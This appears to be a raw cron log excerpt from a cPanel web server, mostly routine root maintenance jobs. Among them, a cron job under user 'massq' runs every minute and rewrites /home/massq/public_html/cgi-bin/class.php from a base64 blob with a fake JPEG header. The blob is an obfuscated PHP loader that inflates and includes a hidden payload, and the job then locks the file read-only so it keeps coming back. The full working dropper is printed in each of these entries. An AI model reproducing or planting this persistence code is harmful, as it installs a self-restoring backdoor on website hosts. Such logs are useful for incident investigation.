NLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 00:37:02 server CROND[30757]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 00:37:02 server CROND[30758]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 00:38:01 server CROND[31112]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 00:38:01 server CROND[31113]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 00:38:01 server CROND[31114]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 00:39:01 server CROND[31586]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep 10 00:39:01 server CROND[31587]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 00:39:01 server CROND[31615]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 00:39:01 server CROND[31588]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 00:40:01 server CROND[32023]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 10 00:40:01 server CROND[32026]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 10 00:40:01 server CROND[32027]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 00:40:01 server CROND[32033]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 00:40:01 server CROND[32036]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 10 00:40:01 server CROND[32037]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 00:40:01 server CROND[32035]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 00:40:01 server CROND[32031]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 00:41:01 server CROND[400]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 00:41:01 server CROND[399]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 00:41:01 server CROND[401]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 00:42:01 server CROND[796]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 00:42:01 server CROND[797]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 00:42:01 server CROND[799]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 10 00:42:01 server CROND[798]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 00:43:01 server CROND[1278]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 00:43:01 server CROND[1274]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 00:43:01 server CROND[1279]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 00:44:01 server CROND[1755]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 00:44:01 server CROND[1756]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 00:44:01 server CROND[1757]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 00:45:01 server CROND[2176]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 00:45:01 server CROND[2182]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 00:45:01 server CROND[2184]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 10 00:45:01 server CROND[2187]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 00:45:01 server CROND[2183]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 10 00:45:01 server CROND[2185]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 00:45:01 server CROND[2186]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 00:46:01 server CROND[3054]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 00:46:01 server CROND[3055]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 00:46:01 server CROND[3056]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 00:47:01 server CROND[3424]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 00:47:01 server CROND[3425]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 00:47:01 server CROND[3426]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 00:48:01 server CROND[3807]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 00:48:01 server CROND[3808]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 00:48:01 server CROND[3809]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 00:49:01 server CROND[4283]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 00:49:01 server CROND[4284]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 00:49:01 server CROND[4285]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 00:50:01 server CROND[4680]: (root) CMD (/usr/lib64/sa/sa1 1 1)
